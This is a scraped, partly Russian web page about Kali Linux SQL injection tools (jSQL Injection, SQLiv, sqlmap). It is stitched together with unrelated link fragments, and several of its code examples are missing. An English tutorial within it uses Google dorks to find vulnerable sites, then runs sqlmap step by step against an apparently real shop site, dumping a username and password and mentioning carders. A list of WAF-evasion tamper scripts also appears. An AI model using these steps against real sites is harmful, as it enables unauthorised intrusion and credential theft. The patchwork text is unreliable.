Kali linux sql injection tools

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

jSQL Injection

Описание jSQL Injection

jSQL Injection — это инструмент на Java для автоматической инъекции в базы данных sql.

jSQL Injection — это не требовательное к ресурсам приложение, используется для поиска информации о базах данных с удалённых серверов. Инструмент бесплатен, у него открытый исходный код, он является кросс-платформенным (Windows, Linux, Mac OS X, Solaris).

  • Методы GET, POST, header, cookie
  • Нормальный, основанный на ошибке, слепой, основанный на времени алгоритмы
  • Автоматический выбор лучшего алгоритма
  • Контроль многопоточности (старт/пауза/возобновление/стоп)
  • Полоса прогресса
  • Показать вызовы URL
  • Простое уклонение
  • Настройки прокси
  • Дистанционное чтение файлов
  • Имеются вебшеллы
  • Терминал для команд вебшеллов
  • Резервное копирование настроек
  • Проверка обновлений
  • Проверка административных панелей (страниц)
  • Брут-форсер (md5 mysql…)
  • Кодировщик (кодирование-декодирование base64 hex md5…)
  • Групповая проверка множества сайтов
  • Поддержка MySQL
  • Поддерживает типы аутентификации: Basic, Digest, Negotiate, NTLM и Kerberos
  • Выбор типа базы данных

Справка по jSQL Injection

Справа командной строки отсутствует.

Руководство по jSQL Injection

Страница man отсутствует.

Примеры запуска jSQL Injection

Инъекция и локальное тестирование

Для проведения инъекции нужен URL (адрес) локального или удалённого сервера и имя параметра для инжекта.

Для локального теста, вы можете сохранить следующий PHP код в файл ‘simulate_get.php’ и поместить его в каталоге вашего веб-сервера (например /www):

Также нужно сделать базу данных «my_own_database» со следующим содержимым:

Введите в программу адрес сайта:

и, наконец, нажмите Ввод для чтения локальной базы данных:

Установка jSQL Injection

Программа предустановлена в Kali Linux.

Если у вас устаревшая версия, то смотрите следующий раздел для скачивания/установки новой версии.

Установка jSQL Injection в Linux

Установка jSQL Injection в Windows

Запустите скаченный файл двойным кликом (нужно иметь виртуальную машину Java).

Источник

SQL Injection with Kali Linux

The use of databases for various data storage management greatly increases in web app development as time goes on. Database facilitates interaction between users and servers. The database (or in terms of Database Management System abbreviated to DMBS) provides various benefits including data input and storage, retrieval of large information and the ease of compiling and grouping information.

But, beside the ease and features that the database offers, as well as the many uses of databases in the world of Information and technology, especially in the development of a website. Unceasingly Pentesters and hackers are trying to find a gap in the security of the database. This is confirmed by the report issued by Positive Technologies researchers, information security research centers in Europe, in the second quarter of 2017, the top 10 web application attacks were dominated by cross-site-scripting of 39.1% and SQL injection of 24.9%. Positive Technologies said the report in the second quarter is not much different from the first quarter.

Figure 1. Top 10 web application attacks (source ptsecurity.com)

This is both interesting and worrying, because in a database there are a lot of information like credential accounts (admin and user), financial information details (such as credit cards, bank accounts, etc.) and so on. Also, to do SQL injection attacks does not always require expert injecting capabilities, in the sense, kids can do it. Because there are many free applications that are able to perform SQL injection automatically, such as SQLMap. SQLMap is an open source application for penetration testing activities that aims to conduct SQL injection attacks in a database security hole automatically. Here I will show you how to do SQL injection using SQLMap in Linux Kali. No special capabilities are required, but will be worth more if you master a scripting language or SQL database technology.

This tutorial is recommended for those who are new to SQL injection in Kali Linux, just for fun, or whom want to see how SQL injection works. It is not recommended to those are highly skilled Penetration Testers already.

SQL INJECTION USING SQLMAP IN KALI LINUX

Before we are doing the injection attack, of course we must ensure that the server or target has a database security hole. To find database security holes, there are several methods we can use. Among them, Google dorking, is used mostly by hacker and penetration testers. Luckily there is a tool that is able to do that automatically. But we have to install its tool first. The tool is called SQLiv (SQL injection Vulnerability Scanner).

Читайте также:  Удаленное управление телефоном windows с компьютера

STEP 1 : INSTALL SQLiv on KALI LINUX

Type commands below into your terminal to install SQLiv:

# git clone https://github.com/Hadesy2k/sqliv.git

# cd sqliv && sudo python2 setup.py -i

Once SQLiv is installed in your Kali Linux, it is stored in the path /usr/bin/sqliv. Which, you can call directly from the terminal, by typing ‘sqliv’. Now lets take a look at SQLIv features.

STEP 2 : FINDING SQL INJECTION VULNERABILITIES

We will use Google Dorking to scan and find the SQL injection hole in targets. Lets take a simple dork, and let SQLiv scan trough every single target and look for an ecommerce vulnerability at the following URL pattern ‘item.php?id=’. To find other patterns just google for “google dork list”.

# sqliv -d inurl:item.php? id = -e google -p 100

By default, SQLiv will crawl first page on search engine, which on google 10 sites per page. Thus, here we define argument -p 100 to crawl 10 pages (100 sites). Based on the dork given above we got a result of vulnerable URLS that looks like this:

We found eight of hundred URLs scanned and considered as vulnerable against SQL injection attack. Save the URLS into text editor for further steps.

STEP 3 : SQL INJECTION USING SQLMAP

Once we got at least one SQL injection vulnerable target, next we execute the attack using SQLMap. I take one of them to be a sample here. Firstly, we need to reveal the database name, inside the database has tables and columns, which contain the data.

A. ENUMERATE DATABASE NAME:

# sqlmap -u “TARGET URL” —dbs

-u / —url : Target URL
—dbs : Enumerate Database / s name

So, the command compiled would look like this:

# sqlmap -u “http: // www.acfurniture.com / item.php? id = 25 ” —dbs

From the command above, the result should be look like this

We got the database name “acfurniture”.

B. ENUMERATE TABLES NAME

# sqlmap -u “TARGET URL” -D database-name —tables

So, the command compiled be like this:

# sqlmap -u «http://www.acfurniture.com/item.php?id=25» -D acfurniture —tables

The result should be look like this:

So far, we can conclude that the arrangement of data is, the site acfurniture.com has two databases, acfurniture and information_schema. The database named acfurniture contains four tables: category, product, product_hacked, and settings. There is no compromised table name, but, let’s investigate more. Let see what is inside settings table. Inside the table is actually there are columns, and the data.

C. ENUMERATE COLUMNS

# sqlmap -u “TARGET URL” -D database-name -T table-name —columns

So, the command compiled be like this:

# sqlmap -u «http://www.acfurniture.com/item.php?id=25» -D acfurniture -T settings —columns

The output should be look like this:

The settings table consist of 6 columns, and this is actually a credential account. Lets dump those data.

D. DUMP DATA

# sqlmap -u “TARGET URL” -D database-name -T table-name -C columns —dump

So, the command compiled be like this:

# sqlmap -u «http://www.acfurniture.com/item.php?id=25» -D acfurniture -T settings -C username,password —dump

Or you can also dump all data inside the table, using command:

# sqlmap -u «http://www.acfurniture.com/item.php?id=25» -D acfurniture -T settings —dump

The output should be look like this:

Email : [email protected]
Username : Handsome
Password : 9HPKO2NKrHbGmywzIzxUi

Alright, we are done dumping data in database using SQL injection. Our next tasks are, to find the door or admin panel, admin login page on the target sites. Before do that, make sure whether that password (9HPKO2NKrHbGmywzIzxUi) is encrypted or not, if so, then we need to decrypt it first. That is another topic, cracking and decrypting.

Even here we are not actually hacking into the target site, at least we have learned a lot about SQL injection using SQLMap in Kali Linux easily and we dump the credentials account. This technique is used mostly by carder (hacker who is looking for Credit Card account on E-commerce sites) which targeting Financial, banking, shop, or e-commerce sites which store their user credit card information.

Источник

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

sqlmap

Описание sqlmap

sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных. Он поставляется с мощным движком выявления и многими нишевыми функциями для конечного тестера на проникновение, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученной от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.

  • Полная поддержка для таких систем управления базами данных как MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
  • Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и внеполосная (out-of-band).
  • Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
  • Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
  • Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
  • Поддержка сдампливания записей таблиц БД, диапазона записей или указанных колонок по пользовательскому выбору.
  • Пользователь также может выбрать сдампливать только диапазон символов из каждой записи колонки.
  • Поддержка поиска указанных имён БД, указанных таблиц по всем БД или указанным колонкам по всем таблицам БД. Это полезно, например, для идентификации таблиц, содержащих пользовательские учётные данные приложений, где колонки с соответствующими именами колонок содержат такие строки как имя и пароль.
  • Поддержка загрузки и выгрузки любого файла из файловой системы с сервера БД, когда ПО БД MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения произвольных команд на ОС сервера БД и получение их стандартного вывода когда ПО MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка установления внедиапазонного TCP подключения между атакующей машиной и лежащей в основе сервера базы данных операционной системой. Этот канал по выбору пользователя может быть интерактивным приглашением командной строки, сессией Meterpreter или сессией графического пользовательского интерфейса (VNC).
  • Поддержка повышения пользовательских привилегий процесса базы данных через команду Metasploit’а — Meterpreter getsystem.
Читайте также:  File copy logs windows

Автор: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar

Справка по sqlmap

Руководство по sqlmap

Страница man присутствует, но является устаревшей и не дополняет ничего нового к справке.

Доступные tamper скрипты sqlmap

  • 0x2char.py — Заменить каждую (MySQL) 0x кодированную строку на эквивалентный CONCAT(CHAR(),…) двойник
  • apostrophemask.py — Заменить символ апострофа (‘) на его UTF-8 full width аналог (то есть ‘ -> %EF%BC%87)
  • apostrophenullencode.py — Заменить символ апострофа (‘) на его нелегальный double unicode аналог (то есть ‘ -> %00%27)
  • appendnullbyte.py — Appends (Access) NULL byte character (%00) at the end of payload
  • base64encode.py — Base64-encodes all characters in a given payload
  • between.py — Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’ and equals operator (‘=’) with ‘BETWEEN # AND #’
  • bluecoat.py — Replaces space character after SQL statement with a valid random blank character. Afterwards replace character ‘=’ with operator LIKE
  • chardoubleencode.py — Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
  • charencode.py — URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
  • charunicodeencode.py — Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
  • charunicodeescape.py — Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
  • commalesslimit.py — Replaces (MySQL) instances like ‘LIMIT M, N’ with ‘LIMIT N OFFSET M’ counterpart
  • commalessmid.py — Replaces (MySQL) instances like ‘MID(A, B, C)’ with ‘MID(A FROM B FOR C)’ counterpart
  • commentbeforeparentheses.py — Prepends (inline) comment before parentheses (e.g. ( -> /**/()
  • concat2concatws.py — Replaces (MySQL) instances like ‘CONCAT(A, B)’ with ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’ counterpart
  • equaltolike.py — Replaces all occurrences of operator equal (‘=’) with ‘LIKE’ counterpart
  • escapequotes.py — Slash escape single and double quotes (e.g. ‘ -> \’)
  • greatest.py — Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart
  • halfversionedmorekeywords.py — Adds (MySQL) versioned comment before each keyword
  • htmlencode.py — HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ‘)
  • ifnull2casewhenisnull.py — Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart
  • ifnull2ifisnull.py — Replaces instances like ‘IFNULL(A, B)’ with ‘IF(ISNULL(A), B, A)’ counterpart
  • informationschemacomment.py — Add an inline comment (/**/) to the end of all occurrences of (MySQL) «information_schema» identifier
  • least.py — Replaces greater than operator (‘>’) with ‘LEAST’ counterpart
  • lowercase.py — Replaces each keyword character with lower case value (e.g. SELECT -> select)
  • luanginx.py — LUA-Nginx WAFs Bypass (e.g. Cloudflare)
  • modsecurityversioned.py — Embraces complete query with (MySQL) versioned comment
  • modsecurityzeroversioned.py — Embraces complete query with (MySQL) zero-versioned comment
  • multiplespaces.py — Adds multiple spaces (‘ ‘) around SQL keywords
  • overlongutf8.py — Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ‘ -> %C0%A7)
  • overlongutf8more.py — Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
  • percentage.py — Adds a percentage sign (‘%’) infront of each character (e.g. SELECT -> %S%E%L%E%C%T)
  • plus2concat.py — Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart
  • plus2fnconcat.py — Replaces plus operator (‘+’) with (MsSQL) ODBC function counterpart
  • randomcase.py — Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
  • randomcomments.py — Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)
  • sp_password.py — Appends (MsSQL) function ‘sp_password’ to the end of the payload for automatic obfuscation from DBMS logs
  • space2comment.py — Replaces space character (‘ ‘) with comments ‘/**/’
  • space2dash.py — Replaces space character (‘ ‘) with a dash comment (‘—‘) followed by a random string and a new line (‘\n’)
  • space2hash.py — Replaces (MySQL) instances of space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’)
  • space2morecomment.py — Replaces (MySQL) instances of space character (‘ ‘) with comments ‘/**_**/’
  • space2morehash.py — Replaces (MySQL) instances of space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’)
  • space2mssqlblank.py — Replaces (MsSQL) instances of space character (‘ ‘) with a random blank character from a valid set of alternate characters
  • space2mssqlhash.py — Replaces space character (‘ ‘) with a pound character (‘#’) followed by a new line (‘\n’)
  • space2mysqlblank.py — Replaces (MySQL) instances of space character (‘ ‘) with a random blank character from a valid set of alternate characters
  • space2mysqldash.py — Replaces space character (‘ ‘) with a dash comment (‘—‘) followed by a new line (‘\n’)
  • space2plus.py — Replaces space character (‘ ‘) with plus (‘+’)
  • space2randomblank.py — Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters
  • symboliclogical.py — Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
  • unionalltounion.py — Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
  • unmagicquotes.py — Replaces quote character (‘) with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
  • uppercase.py — Replaces each keyword character with upper case value (e.g. select -> SELECT)
  • varnish.py — Appends a HTTP header ‘X-originating-IP’ to bypass Varnish Firewall
  • versionedkeywords.py — Encloses each non-function keyword with (MySQL) versioned comment
  • versionedmorekeywords.py — Encloses each keyword with (MySQL) versioned comment
  • xforwardedfor.py — Append a fake HTTP header ‘X-Forwarded-For’

Примеры запуска sqlmap

Перечислить базы данных (—dbs) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

Построить список таблиц (—tables) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

Показать колонки (—columns) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

Вывести дамп (—dump) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

Вывести содержимое (—dump) колонки login (-C login) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

Установка sqlmap

Программа предустановлена в Kali Linux.

Установка sqlmap в Linux

Установка sqlmap в Windows

Для запуска sqlmap под Windows, кроме sqlmap, нужен Python.

За sqlmap заходим на официальный сайт, или скачиваем по прямой ссылке zip-файл.

За Python’ом заходим на его официальный сайт в раздел загрузок. Там представлены две ветки 3.* и 2.*. В данном случае (для запуска sqlmap) нам нужна версия 2.*. На момент скачивания доступна Python 2.7.11.

Установка скаченного файла элементарна. Только запомните, в какой каталог вы его установили.

Так, теперь переходим в каталог с установленным Python. У меня это каталог C:\Python27\ (думаю, у вас также, если вы не меняли дефолтные значения).

Запустите командную строку (Win+x и в открывшемся окне выберите «Командная строка»). Теперь хватаете файл python.exe (который лежит в каталоге C:\Python27\) и перетаскиваете его в окно командной строки. В командной строке должен появится полный путь до файла. Дописываете к нему через пробел -v

И нажимаете Enter. Если видите много разной информации, в том числе и о версии, значит всё в порядке. Нажмите Ctrl+c, чтобы выйти.

Запуск sqlmap

Помните наш скаченный архив с sqlmap? Распакуйте его. Теперь в командную строку перетаскиваете файл python.exe, ставите пробел, перетаскиваете в эту же командную строку файл sqlmap.py (из архива с sqlmap) ставите ещё один пробел и пишите -h. У меня получилось так

Если появилась справка по sqlmap, значит всё работает как надо! Можно приступать к анализу сайтов.

Как использовать sqlmap на Windows

В командной строке на Windows sqlmap нужно запускать следующим образом:

Источник

Читайте также:  Remote desktop servers linux
Оцените статью